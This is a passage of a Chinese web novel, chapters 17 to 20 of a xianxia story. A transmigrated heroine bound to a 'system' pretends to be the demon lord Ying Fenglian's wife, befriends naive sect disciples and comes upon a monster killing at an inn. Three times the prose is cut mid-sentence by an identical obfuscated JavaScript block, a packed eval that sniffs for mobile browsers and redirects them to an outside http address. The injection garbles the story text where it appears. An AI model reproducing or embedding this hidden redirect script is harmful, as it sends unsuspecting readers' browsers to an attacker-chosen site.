“老爷怕睹物思人,故命人将小姐闺房暂时封了。”管家解释道,一边示意下人上前小心翼翼地揭去封条。 岑毓灵与应听澜交换了一个眼神,彼此心照不宣。 应听澜没有多言,待封条去除,便上前一步,推开了那扇紧闭的房门。 随着门的洞开,颜家小姐房间的景象尽数展现在他们的眼前。 应听澜挥了挥手,身后的人鱼贯而入,在房间内展开了地毯式的搜查。 岑毓灵也步入其中,目光仔细掠过梳妆台、绣架、床铺……一切都像是寻常世家小姐的闺房,看不出任何异样。 几柱香后,搜查完毕,下属们纷纷向应听澜摇头示意,一无所获。 这次搜寻的结果是白跑一趟,大家不免灰心丧气起来,屋内陷入了死一般的寂静。 管家见状上前:“各位大人都搜查完了吧,不如移步……” “有人住过,必定有不少杂物。”应听澜忽然出声,走到梳妆台前,一把拉开了空空如也的妆奁,“这房内为何如此空?” 管家连忙回道:“大人有所不知,我们这边的风俗就是要尽快将逝者生前的物品一并烧给她,才能让她了无牵挂,走得安心。” “一件都没剩下么?”应听澜问道。 “这……”管家犯了难。 就在这时,一名小厮惊慌失措地跑进院子,看到管家便喊:“王管家!不好了!小姐、小姐她又显灵了!” 他显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378398|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然吓坏了,完全没注意到旁边的辑尘司众人。 管家面色骤变,厉声呵斥道:“贵人们在此,胡说八道什么!” “真的!我没胡说!”小厮脸色惨白,几乎要哭出来,“从宋府抬回来的嫁妆,清点时发现少了好几样东西,都是小姐生前最宝贝的!一定是小姐的魂魄回来拿走了!” 管家见他不识眼色,连忙要上手捂他的嘴。却在下一秒被一股无形的力量定格住了,动弹不得,喉咙里也如同被扼住一般说不出话。 应听澜收回手,目光落在那吓破胆的小厮身上:“慢慢说,怎么回事?” 小厮看到管家的样子,更是吓得腿软,瘫在地上说不出话。 旁边一名辑尘司下属看不下去,喝道:“大人问你话!如实禀报!” 小厮猛地回过来神,磕磕巴巴地继续道:“我们从宋家搬回小姐的嫁妆,清点时发现少了很多东西,都是小姐生前最爱之物,一定是小姐显灵回来拿走了!” 岑毓灵蹙了蹙眉,柔声安抚道:“不必惊慌,或许是有手脚不干净的人拿走了。” “不会的!”小厮惊叫出声,“一定是小姐回来拿走的,之前李婶就在小姐最爱待的池边看见了小姐的鬼魂!” “小姐这么年轻又死得这么惨,一定是成为厉鬼回来报复颜府了!”他越说越激动,整个人抖得如同筛糠,“老爷这样苛待小姐,还逼她嫁去宋家,她心里一定有很大的怨气……” 管家在一旁瞪着他,目眦欲裂,奈何身不能动,口不能言。 “她一定不会放过我们的!”小厮脸色苍白,瞳孔涣散,被自己的推测逼入了绝望的境地。 应听澜拍了拍他的肩膀:“我们就是专门超度厉鬼的,带我们去看从宋家搬回来的东西。” 小厮如同抓住了救命稻草,连滚爬地站起:“好、好!小的这就带路!就在后院库房!” 他完全不敢看管家那几乎要杀人的眼神,引着应听澜一行人匆匆赶往堆放嫁妆的后院。 后院中,几个大箱子敞开着,一些仆役正在清点登记,见他们到来,纷纷停下手中的活计,不知所措。 “辑尘司办案,闲杂人等退开。”下属们迅速清场,接管了这里。 应听澜和岑毓灵也走到大大小小的箱子前查看起来。箱子里装着各种的绫罗绸缎、金银首饰、瓷器摆件,都存在着翻动的痕迹。 “听澜,你觉得真是冤魂作祟还是有人装神弄鬼?”岑毓灵在他身侧小声问道。 应听澜唇角勾起一丝冰冷而讥诮的弧度:“若亡魂真能如此轻易显化复仇,世间又何来那么多沉冤未雪?” 岑毓灵接道,“你的意思是……” 她的话未说完,应听澜的目光倏地一凝,落在其中一个装满文房四宝的箱子里。他拨开上面的陈杂的笔墨纸砚,从箱底角落里摸出一小片不起眼的黄.色碎纸。 岑毓灵凑近一看:“这是……符箓的残角?” 那残角是符纸的质地,上面绘有的朱砂符文残缺不全,看不出原貌,边缘破碎似是被人故意破坏后偶然落到了箱子里。除此之外,她没看出任何特别之处。 应听澜摸着残角上朱红的一笔烙印,嘴角微扬:“找到了。” “这上面有他的气息。”他语气笃定。 岑毓灵心头一跳,仍不愿相信:“他……真的与宋府之事有关?” 应听澜没有回答,将那符纸残片收入袖中,冷静地分析:“他离开此地应不久。我那一剑伤及了他的魔丹根基,他走不远的。” 他当即转身,声音清晰而果断地命令道:“传令下去,辑尘司所有人即刻行动,以筠州城为中心,向外辐散,搜查方圆二十里每一寸土地,全力搜捕魔头应逢怜!” 18. 来访 门外的人礼节性地叩了两下门便静候着等待着她的回应。 “哪位?”颜悬昭没有立刻开门,而是提高声音警惕地问道。 这么晚了会是谁?客栈伙计,还是……方才那些人? “娘子,是我们,刚才在楼下与二位交谈过的。”一个清脆响亮的女声响起,听起来年纪不大,带着几分活泼。 颜悬昭非但没因这和善的语气放松,反而将心弦绷得更紧了。 他们怎么又找过来了,难道是发现了什么破绽? 她一边在脑中飞速回顾刚才的应对是否有疏漏,一边扬声回应:“请问还有什么事吗?” “娘子莫要紧张,我等并无恶意。”另一道温和的男声接过话,正是刚刚问话他们的蓝衣男子,他语气诚恳,“方才在楼下多有冒犯,心下不安,特来致歉。” 一直将人拒之门外反而显得可疑,颜悬昭只得硬着头皮拉开房门。 只见门外站着一对俊男靓女,蓝衣男子见她开门,微笑着向她颔首致意,他旁边身着火红衣裙的姑娘则洋溢着热情的笑容,不等颜悬昭邀请,她便自然挽过她的手,轻盈地侧身进了房间:“娘子,我们进去坐着说话可好?” 红衣姑娘的自来熟打了颜悬昭一个措手不及,晕晕乎乎地就被她带着到房里的圆桌旁坐下了。 刚坐定,她便献宝似的将一个用粉色绸缎精心包裹的方正锦盒推到颜悬昭面前。 “这是……?”颜悬昭面露疑惑。 姑娘有些不好意思地挠了挠脸颊:“刚才在楼下,我们问话唐突,惊扰了娘子和你夫君,实在过意不去。这是我们路过桃溪镇时买的特产桃花酥,聊表歉意,还请娘子收下。” “是啊,”蓝衣男子温声补充道,“一点心意,不成敬意,望娘子笑纳。” “使不得,使不得。”颜悬昭连忙摆手,“你们也是职责所在,我们能理解的,没有放在心上。” “哎呀,姐姐你就收了吧,要不我们心里难安!”姑娘拉起她的手嗔怪式地摇了摇,同时利落地打开了盒子,“这桃花酥可好吃了!快试试!” 说着,她就拈起一块糕点要送到颜悬昭嘴边。 颜悬昭无力招架这种“社交恐怖分子”的热情进攻,半推半就地接过她手中的糕点,轻咬了一口。 咬下去的瞬间,颜悬昭的眼睛亮了。 充满麦香和浓郁猪油香气的酥皮层层绽开,融化在齿尖,紧接着涌出了一股馥郁的桃花香气,细腻的内馅在舌尖翻滚着酸甜的滋味…… 红衣姑娘见她表情,脸上露出小小的得意:“很好吃吧!桃溪镇的桃花酥可是最有名的。我们宗门里的师兄弟听说我们要路过那儿,都央我们带呢!” 颜悬昭捕捉到她话中的信息,咽下口中的糕点:“宗门?” “哦!瞧我这记性!”姑娘轻拍了一下自己的额头,懊恼道,“光顾着说点心,都忘了自报家门了!” 她像一只灵动的蝴蝶翩然起身,火红的裙摆划出一道弧线,走到了蓝衣男子身边站定。 “这位,”她介绍道,“乃怀忧宗大师兄是也。” 蓝衣男子依言站了起来,向颜悬昭作了一揖:“在下衡遂,方才失礼了。” 姑娘又拍了拍自己的胸口,声音清脆:“我乃怀忧宗二师姐,行不更名坐不改姓冯念之是也!” 说完,她好奇地看向颜悬昭:“我们都介绍完自己啦,姐姐你叫什么呀?” “相逢即是有缘,不如放下前嫌,结交一番。”衡遂也温和地说道。 对方如此坦荡热情,颜悬昭若再遮遮掩掩反倒显得小家子气,但她仍留了个心眼,报了个化名:“我姓应,单名一个昭字。” “那我便叫你昭昭姐啦!”冯念之欢喜地拍手,“今日就此一饼泯恩仇!” “对了,应娘子,”衡遂目光在室内不经意地扫过,似是随口问道,“怎不见令夫君?我们还想着当面向他致歉。” 颜悬昭稍稍松懈的神经瞬间再度绷紧。 终于要图穷匕见了吗?! 她尽力让语气听起来自然随意:“哦,他啊,去后院马厩照看我们的马匹了。你们的心意,我代他心领便是。” 说完,她故作镇定地低头咬了一小口手中的糕点,实则用眼角余光留意着两人的反应。 刚咬了一小口,她猛地反应过来。 她大意了,这个糕点不会被下了什么毒药吧? 她的脑海里瞬间浮现出两人拿着药瓶,阴测测地威胁她不供出应逢怜,就拿不到解药,最后肠穿肚烂,七窍流血…… 那她是招呢,招呢还是招呢? 正当她沉浸在自己脑补的悲壮剧情中时,衡遂的声音将她拉回现实。 “无妨,”他神色依旧温和,“我们可以在此稍候,等他回来。” “是呀是呀。”冯念之附和道,“反正我们也闲着无聊,一起唠唠嗑呗。” 见他们似乎并未执着于应逢怜的去向,颜悬昭稍松了口气。她心思一转,决定反客为主,主动提问:“原来你们是仙门子弟?可方才在楼下,为何自称官府之人?” “说起来都怪三师弟。”冯念之撇了撇嘴,气鼓鼓道,“他说我们一看就是初出茅庐的生面孔,直接问话恐怕没人搭理,非要我们假扮官差,说什么‘狐假虎威’一下。” 衡遂也略显尴尬地轻抚额头:“我等初次下山,确实不谙凡间官差行事规矩,举止不当,冒犯你们,十分抱歉。” 听完他们的解释,颜悬昭一个没忍住,“噗嗤”笑出了声。 原来是刚出来实习的“大学生”啊,怪不得这么容易就骗过了他们。 真正的的官差盘问起来,可比他们“冒犯”多了。 她这突如其来的笑声让冯念之和衡遂面面相觑,都从对方眼中看到了迷惑。 殊不知,他二人在颜悬昭眼中的形象已经从城府深不可测的追捕人员转化为了清澈愚蠢但善良的大学生了。 “你们不用自责,我们并没有放在心上。”颜悬昭止住了笑,为他们宽解心结。 见颜悬昭态度软化,冯念之立刻雀跃地凑近她身边:“昭昭姐,你和你相公感情真好,能不能给我讲讲你们的故事呀?我最喜欢听这种了!” “念之,”衡遂轻轻蹙眉,略带责备地看了她一眼,“此乃他人私事,莫要打听。” “这有什么?”冯念之不理会他的阻止,轻摇了摇颜悬昭的袖子,“和我讲讲嘛……是你追的他,还是他追的你?” 颜悬昭最怕看到一双扑闪扑闪的大眼睛带着祈求看着她了,她根本没办法拒绝这种请求。 但她和应逢怜就是一对假鸳鸯,哪有什么值得说道的爱情故事?要不是有系统的胁迫,怕是他们的故事就终结在她一脚将他手踢开的那刻了。 见颜悬昭犹豫了,冯念之肉眼可见地失落了起来:“是我僭越了……” 颜悬昭难得地良心一痛。 可恶啊,果然让女人伤心的事情她还是做不到啊! “那个……”颜悬昭清了清喉咙,决定即兴发挥,“其实我们是青梅竹马,但我们的家族却有世仇……” 冯念之倏然睁大了双眼,连一向淡定的衡遂也忍不住竖起了耳朵。 母胎单身至今的颜悬昭根本就没什么恋爱经验,接下来她结合了二十多年来看过的所有有关爱情的名著,讲述了一段曲折离奇、荡气回肠的爱情史诗,内容来源包括但不限于《罗密欧与朱丽叶》、《梁山伯与祝英台》、《歌剧魅影》…… “就这样,我们最终幸福地生活在了一起。”颜悬昭用一句总结,为这个长达半个多时辰的故事画上句号。 她讲得口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416123|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干舌燥,赶紧给自己倒了杯茶一饮而尽。解了渴意,她才发觉房间里安静得有些异常。 定睛一看,冯念之正失神地流着泪,还不断用手帕擦拭着通红的眼睛,良久,喃喃道:“太美了,绝美的爱情故事……” 再看衡遂,虽未落泪,眼眶却也微微发红,指尖不时轻按眼角,似在克制情绪。 不是吧?她随口胡诌的狗血大杂烩,威力有这么大? 冯念之回过神来,激动地握住她的手:“昭昭姐,你们的爱情故事实在是太伟大了,感天地泣鬼神!” “特别是你还魂后和你夫君相认的那段听得我潸然泪下,你们果真是天造地设的一对。”她声情并茂地述说着听后感。 “哈哈,是吗。”颜悬昭干笑了两声。 她心想,得鸣谢《牡丹亭》。 衡遂也目光真挚地看着她:“应娘子,虽然你们的爱情为世俗不容,但你们敢于突破枷锁的勇气让在下动容。” 哈,还得鸣谢《雷雨》。 “我们的故事差不多就是这样了,”颜悬昭打断他们仍沉浸在故事中的情绪,巧妙转移话题,“现在该轮到你们讲讲了吧?仙门子弟的生活,想必很有趣?” “我们?”冯念之搅了搅手指,“我就比较乏善可陈了,我三岁就被宗门选中,拜入师尊门下,此后就是一直修炼、修炼、修炼,这次是我第一次来到凡间历练。” 衡遂也点了点头:“我也差不多,四岁测出了是火灵根便被师尊收入门下,一直在宗门里修行,亦是初次下山游历。” 颜悬昭下意识恨得咬了咬牙。 天杀的,一个两个的人生一路顺风就算了,前途还这么光明,晚上睡得着嘛? 就她的前途一片阴暗……啊,好凉快。 颜悬昭压下心中的悲愤,继续引导话题:“那你们接下来要去哪里游历呀?我和我夫君正愁不知道接下来去哪玩呢,说不准我们能一道顺路去。” 冯念之心直口快,脱口而出:“我们要去乌南秘……”话一出口,她立刻意识到失言,有些慌乱地看向衡遂。 衡遂倒是神色如常,温声道:“告知应娘子也无妨,乌南秘境近期将开,此事在修仙界并非秘密。只是……” 他话锋一转,语气带上几分郑重,“乌南秘境虽非绝险之地,但对寻常人与散修而言仍是危险的,娘子还是谨慎前往吧。” 颜悬昭从善如流地点头。 危险啊?那她铁定不去,天大地大小命最大。 可惜,事情总不会如她所愿的。 下一秒,她的脑海里就跳出了系统的提示音。 【触发主线任务:乌南秘境。】 颜悬昭当场石化。 “昭昭姐?”冯念之见她愣住了,伸手在她眼前晃了晃。 颜悬昭猛地回神,连忙说道:“时间不早了,别等了,你们早点回去休息吧……” 衡遂闻弦歌而知雅意,当即拎着还想要说话的冯念之要退下:“不打扰娘子歇息了,我们这就告辞。” 颜悬昭尽地主之谊将他们送到房间门口,却见衡遂突然转身:“对了……” 颜悬昭心头一紧。 终于要切入正题了?怀疑应逢怜为何迟迟不归? 却见他眼神坚定,语气格外认真:“应娘子,千万不要放弃你的歌唱的天赋!” 好的,是她多虑了,这家伙居然还沉浸在剧情里。 感谢《歌剧魅影》。 她努力挤出一个笑容:“多谢鼓励,我会……坚持的。” 终于送走两人,颜悬昭迅速关上房门,背靠着门板,在脑海中冷静发问:“系统,这次的任务具体内容是什么?” 【宿主,你这次任务是帮助应逢怜拿到秘境中的镜月花,并且……】 【阻止反派的死亡。】 19. 绾发 夜色沉寂,林风带动枝条在月下摇曳,月光透过交错的枝桠,在地面投下狂舞的爪牙。 应逢怜静立其中,玄色衣袍几乎与夜色融为一体。他垂眸看向单膝跪在身前的下属,语气听不出什么情绪:“空青,起来吧。” 名唤空青的男子身形挺拔,此刻却将头埋得极低,不肯起身,语气带着坚决的请罪:“属下护主不力,致使主子身陷险境。空青万死难辞其咎,还求主子惩处!” “现在不是谈论这个的时候。”应逢怜的声音依旧平淡,却带着不容置疑的意味,“我再说一次——起来,这是命令。” “……是。”空青犹豫了一下,终究不敢违逆,依言从地上站起身,微微垂首,姿态恭敬。 “魔界现在如何?”应逢怜直接切入正题,血色的眼眸在幽暗的林间折射着冷冷的月光。 空青深吸一口气,沉声禀报:“自您失踪的消息传开,玄冥便趁机煽动人心,四处散布您已……已陨落的谣言。他拉拢了不少墙头草,另立山头,如今势力扩张得极快。” “……是属下无能,未能及时遏制其势。”他越说声音越低,正要附身跪下再度请罪,却被应逢怜一手拦住。 “此事非你能够阻止。”听到这个结果,应逢怜没有惊讶,仿佛早在他的意料之中,“趁此机会,正好将那些心怀二志之人甄别出来。待日后再与他们逐一清算。” “主子英明!”空青抱拳,语气振奋了些,随即斗胆谏言,“主子,如今仍有二百余名忠勇之士誓死追随!属下已将他们秘密集结,只待您一声令下,我们便可杀回魔界,将那乱臣贼子拿下,重肃魔界!” 他顿了顿,语气变得有些迟疑,但还是继续禀报:“另外,凝雨公主那边派人传话,说、说她可以出兵助您,只要您……” “重回魔界的事,稍后再议。”应逢怜打断了他的话语,命令道,“眼下有更要紧的事需要你去做。” “请主子吩咐!”空青立刻半跪于地,神色肃穆。 “我要进入乌南秘境。”应逢怜言简意赅,“后日之前,设法弄到两张入境密令。” 是!”空青毫不犹豫地应下,随即抬头询问道,“主子,可是需要属下陪同前往?” “不必。陪同的人选,我自有安排。”应逢怜面无表情地吩咐,“你留在外界,负责接应,并稳住其他人。没有我的传召,不得擅自寻我。” “属下明白!定不辱使命!”空青铿锵有力地回答,随即起身,朝着应逢怜深深一揖,身形一晃,便悄无声息地融入了密林深处,几个起落便不见了踪影。 林子里彻底沉寂,应逢怜站在原地,指尖微动,将他与空青方才停留之处的所有气息与痕迹尽数抹去。 做完这一切,他才不慌不忙地拿起放在一旁的幂篱,戴在头上,遮住了面容,朝着客栈的方向缓步走去。 吞噬完两个魔的力量后,他的元气有所恢复,但如今他的力量还不及盛时的十分之一。 应听澜的一剑使他的魔丹受损,让他无法自行修复伤势,在没拿到乌南秘境中的镜月花修复他的魔丹前,他万万不能返回魔界,也不能让任何人知道他的伤势,纵使是空青也不行。 魔界向来信奉弱肉强食、优胜劣汰,一旦他重伤难愈的消息传开,那些视他为眼中钉的仇敌一定会一拥而上将他置于死地,就连空青这般的下属未必会再忠诚于他,届时腹背受敌才是真正的绝境。 天边逐渐露出一丝鱼肚白,应逢怜也回到了客栈楼下,他捏了捏眉心,压下了繁杂的思绪。 他抬头,目光精准地找到了他们房间所在的位置。出乎意料的是,那扇窗户后,此刻竟还透出昏黄的烛火光晕。 他身形微动,如一片落叶般轻盈地跃起,悄无声息地推开那扇半掩的窗户,落入房中。 刚一进来,便看到颜悬昭趴在圆桌上呼呼大睡。 她双臂环抱着个陌生的粉色锦盒,趴在上头,脸颊上的肉因为压力被肉嘟嘟地挤到一块,脸上还残留着被压出的红印子。几缕不听话的发丝黏在她的嘴角,眼看着就要吃进嘴里了,她却毫无所觉。 应逢怜悄无声息地靠近,站在桌边静候了片刻,发现她呼吸平稳,竟是真的睡着了。 真是个神经大条的蠢货,一点防备心也没有。 应逢怜颇为嫌弃地看着她凌乱的睡容。 不过,这种人利用起来最为放心,在乌南秘境中或许能派上用场。 思忖完毕,应逢怜便不再理会她,转身打算走向房间里那张看起来更为舒适的床榻。 没走两步,他又转身走了回来。 不行,还是受不了。 颜悬昭把发丝吃进嘴里的画面反复在他脑海里回荡。 强迫症发作的他俯下身勾住她发丝的一端,轻轻一扯将她即将吃进嘴里的发丝拉了出来。 应逢怜稍稍舒了口气,却不想这样一动作把颜悬昭给唤醒了。 她迷迷蒙蒙地睁开睡眼看见应逢怜,含糊地嘟囔着:“怎么又梦见帅哥了……” 下一秒,她混沌的意识骤然清醒,猛地睁大了双眼,坐直了起来,望着应逢怜语无伦次道:“你、你回来啦?!” 她一边说着,一边手忙脚乱地试图整理自己睡得乱七八糟的头发和衣襟,脸上还带着刚被压出的红印。 【晚了,你睡得哈喇子直流的样子早被看到了。】系统毒舌地在她的脑海里吐槽。 【你怎么不提醒我他回来了?】颜悬昭对系统袖手旁观的态度十分恼怒。 【你一睡觉,我也被强制关机了,能有什么办法?】系统一副爱莫能助的态度。 “怎么睡在这里?”应逢怜出声。 “我原本想等你回来的……”颜悬昭窘迫地揉了揉睡僵了的脸,嘿嘿一笑,“没想到等着等着睡着了。” 应逢怜体会到了一种微妙的感觉,但他又无法具体描述这种奇怪的感觉,最终只是点了点头,决定不要跟她说过多的话。 “应逢怜,”见他似乎要转身,颜悬昭连忙叫住他,献宝似的将一直抱在怀里的粉色锦盒打开,露出里面排列整齐、造型精致的糕点,“你出去这么久,肯定也饿了吧?快来尝尝这个桃花酥,可好吃了!” 她似乎经常忘记他是个已辟谷的修行者,总是将他视作和她一样会饿会困。 见他没反应,她又往前递了递,像个邀功的小狗腿:“我也吃了,非常好吃,你也尝尝呗!” 为何执意要他吃? 见到她如此执着热情,应逢怜心底反倒升起警惕。 这糕点之中,莫非被做了什么手脚? 他审视地在她脸上搜刮了一圈,良久,还是伸手捻了一块桃花酥送到唇边,慢条斯理地咬了一小口。 甜腻…… 颜悬昭见他吃了,立刻也眉开眼笑地拿起一块,毫无顾忌地塞进自己嘴里,美滋滋地吃了起来。 应逢怜动作一滞。 看来是他想多了……但他还是不敢相信于有人给他食物居然只是为了单纯分享美味。 “你还记得今早盘问我们话的那群人吗?”颜悬昭嘴巴里塞着糕点,含糊不清地说道,“这是他们专程送来的桃溪镇特产,向我们赔礼道歉的。” 应逢怜捻着糕点没说话。 糕点无毒,不过他也不惧怕里面有毒,这世间绝大多数的毒药都无法对他起效,但他还是很怀疑他们送来的目的。 “他们有怀疑什么吗?”他问道。 “没有,”颜悬昭摇了摇头,咽下口中的糕点,“他们是初出茅庐的宗门弟子罢了,没什么高深的城府,我几句话就将他们打发了。” 紧接着,她将今晚发生的事情原原本本地复述给了应逢怜。 “他们也打算去乌南秘境……”应逢怜沉吟片刻,指尖在桌面上轻轻敲击了两下,做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436677|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了决定,“可以与他们适当走近些。届时,或许可以与他们一同进入秘境。” 看来,乌南秘境现世的时机,确实不远了。 “好,那我就和他们多套套近乎。”颜悬昭点点头,十分自觉地接过了任务。 应逢怜原打算回来休整一番,如今听闻秘境即将现世,深觉刻不容缓,他看了一眼颜悬昭凌乱的发髻,开口道:“给你一炷香的时间梳洗,待会随我出门一趟。” 颜悬昭下意识摸了摸自己的头发,触感一片毛躁,才发觉已经乱得和鸡窝一样了。 她连忙跑去屏风后梳妆台那手忙脚乱地梳洗起来。 应逢怜则走到房间内的卧榻边,拂衣坐下,阖上双眼,开始闭目养神,等待着她。 闭上双眼后,房间中一切细微的声响变得更加明显了。 木梳拂过青丝的簌簌声,发饰相撞的叮咚声,桂花油的清冽香气…… 幼时的清晨,母亲也是这般坐在梳妆台前对镜挽髻的,而年幼的他,总是喜欢趴在桌边,睁大眼睛一眨不眨地看着。母亲察觉到他的目光,会从镜中回望他,眉眼弯弯,露出温柔的笑意。 往往这时暖洋洋的阳光会透过薄薄的窗纸映出满室灿金,父亲静坐在一旁卧榻上等候,有时候他是在沉默地擦拭长剑,有时候是如同现在的他一样在闭目养神。 母亲的手总是很灵巧,纤细修长的手指翻飞之下就能挽出一个漂亮的发髻,不像现在屏风那头的笨蛋在那里手忙脚乱,梳个头发都在龇牙咧嘴地叫,间或发出了惊呼,他不必睁眼,就知道她定是又不小心弄掉了什么。 不知过了多久,屏风后的动静终于平息。颜悬昭似乎完成了这项“浩大工程”,脚步略显迟疑地从屏风后走了出来。 应逢怜应声睁眼,目光落到她的发髻上。 颜悬昭见他目光落在自己头上,有些不好意思地抿了抿唇,期待又有些忐忑地问道:“好看吗?我还是第一次自己梳……” 系统冰冷的提示音突然响起。 【反派好感度-5,当前好感度为0。】 颜悬昭:“???” 不是吧?!她辛辛苦苦梳了这么久,就算不够完美,也不至于丑到要扣好感度的地步吧? 应逢怜沉默地看着她,看了许久,久到颜悬昭都觉得周遭空气快要凝固时,他才终于开口冷冷道:“换掉,换个别的发样。” 颜悬昭撇了撇嘴,不情不愿道,“可是,我只会这么一个发样。” 她是个手残党,跟着小桃学会这个“毓灵髻”已实属不易,其他的发式,她要么不会,要么梳出来更是惨不忍睹。 应逢怜没有说话,但是她已经感觉到他那不容退让的死亡视线了。 为了保住好感度不下滑,颜悬昭决定听话地退回去绑个最简单的高马尾。 应逢怜又等了片刻,等来了颜悬昭顶着个不伦不类的发型走出来。 “我好了,走吧。”她无精打采道。 应逢怜眼角抽了抽,忍无可忍地将她拎回了梳妆台前。 颜悬昭还没反应过来就被他压着肩膀摁着坐下:“坐好,别乱动。” 紧接着,在颜悬昭目瞪口呆的表情中,应逢怜臭着一张脸拿起木梳为她挽起了发髻。 颜悬昭呆呆地望着镜中,起初她并没有对应逢怜的手艺报有多大期望,却没想到他三下五除二就为她挽好了一个漂亮的女子发髻。 应逢怜也看着镜中那个熟悉的发髻,一时间恍神了。 他无数次看过母亲梳这个发样,每一个步骤,每一次缠绕,都深深刻在他的记忆里。但他从未亲手为任何人梳过,今日是第一次尝试,手指却像是拥有自己的记忆一般,熟练得仿佛已经重复过千百遍。 两人都还沉浸在这略显诡异的氛围和各自的愣神中,尚未回神就听到了楼下传来一声凄厉至极的惨叫,如同利刃般划破了客栈黎明时分的寂静。 20. 惊变 凄厉的惨叫让颜悬昭从微妙的情绪里陡然清醒,她下意识起身,却发现应逢怜动作更快,已经戴上幂篱先她一步往门外走去。 她不敢怠慢,紧随着他的步伐。两人来到了房外,一前一后地走下楼梯,刚踏入一楼大堂,一股浓重到化不开的血腥味便扑面而来,紧接着一副极具冲击力的画面撞入了她的眼帘。 一楼大堂内,一张貌似人皮组织的东西正干瘪地倒塌堆叠在血泊之中,场面恐怖,让人触目惊心。 颜悬昭看到的瞬间心脏骤停,一股恶寒摄住了她的心神,她下意识躲到了应逢怜身后,用他高大的身躯挡住那令人头皮发麻的渗人场景。 衡遂和冯念之一群人比他们先一步赶到,已经初步控制住了场面,疏散了零星几个被惊动探头张望的住客,此刻正围在血泊边缘,低声交谈着,面色凝重地查看着那具可怖的遗骸。 这些看起来年纪不大的修士们,面对如此骇人的景象,脸上虽有沉重与警惕,却并无过多的惊慌失措,仿佛对此类惨案习以为常。 衡遂注意到他们下楼,还和他们打了个招呼。 颜悬昭从应逢怜身后探出半个脑袋,声音里还带有一丝惊魂未定:“衡遂,这发生什么事情了?” 衡遂神情凝重地回答道:“今日清晨,客栈掌柜为魔物所害,但目前还未找到作恶的魔物。” 颜悬昭的目光再次扫过血泊中的衣物,确认了衡遂的话,果然是昨日掌柜的衣着。 “呜呜呜……昨夜入睡前,掌柜、掌柜他还好好的呀!!”又是一阵撕心裂肺的哭嚎响起,将颜悬昭的注意力吸引了过去。 她这才发现,离血泊不远处,昨日见过的那名店小二正瘫坐在地,面无人色,浑身抖若筛糠。冯念之正半蹲在他身旁轻声安抚着。 “你冷静些。”冯念之拍了拍他不住颤抖的双肩,循循善诱道,“仔细回想一下,昨晚掌柜入睡前,可有什么不寻常的举动?夜里,你曾听到过什么古怪的动静?” “我不知道……我什么都不知道……”店小二双手死死抱着头,眼神涣散,语无伦次,显然惊吓过度,神智已处于崩溃的边缘,“我一早起来……就、就看见掌柜他……他变成这样了!” 看来,那声划破黎明的惨叫,便是这可怜的店小二发出的,他也是惨案的第一目击者。 眼见问不出更多线索,冯念之轻轻叹了口气,不再逼迫他。她站起身,理了理裙摆,朝颜悬昭二人走来。 “昭昭姐,凶手可能还在附近,”她语气关切,“你们尽量待在这块不要随意走动。” 颜悬昭点了点头:“谢谢你们提醒。若有什么需要我们帮忙的地方,尽管开口。” 她看了一眼身旁盯着血泊若有所思的应逢怜,补充了一句:“恰好……我夫君对魔物有所研究。” “真的吗?”衡遂一喜,看向应逢怜,拱手客气问道,“这位……该怎么称呼?” 应逢怜将目光从血泊中收回,不假思索道:“颜怜。” 颜悬昭:“?” 这取假名的套路怎么有点熟悉? 【我真是服了你们俩了,取假名的脑回路敷衍到一块去了。】系统适时在她脑中响起,毫不留情地吐槽。 “颜公子,在下衡遂。”颜遂拱手示意道,“能否劳烦您看看这起凶案是何等魔物所为?” 应逢怜颔首,跟随他的步伐,走近到尸体处附身查看起来,不到片刻,他直起身,语气笃定地给出了结论:“是阴噬魔所为。” “敢问这阴噬魔是……”衡遂虚心求教。 “一种栖息于魔界腹地的罕见魔物,”应逢怜解释道,声音平稳,听不出情绪,“性喜吞噬生灵血肉,猎食之时,常以魔气侵蚀,将猎物一身血肉尽数吸食消融,最终只留下一张完整的皮囊。” 他语气平淡,却让周围听到的几名年轻修士不约而同地倒吸了一口凉气,只觉得脊背莫名窜上一股寒意。 “既是魔界深处才会出现的魔物,怎么会出现在这里?”冯念之忍不住上前一步,语气中充满了困惑与不解。 “这也正是我也觉得蹊跷的地方……”应逢怜微微蹙眉,也露出一副思索的模样。 站在他侧后方的颜悬昭却心知肚明,这家伙心里恐怕早已有了答案,此刻不过是在等待一个合适的时机,引导众人得出他想要的结论。 到底是什么原因导致本不应该出现的魔物出现在了这里呢? 颜悬昭脑子灵光一闪,举起手,弱弱地开口道:“昨日听诸位提起有秘境即将现世……你们说,会不会和这个有关?” 她的话音刚落,周围几人先是一愣,随即纷纷露出了恍然和更加凝重的神色。 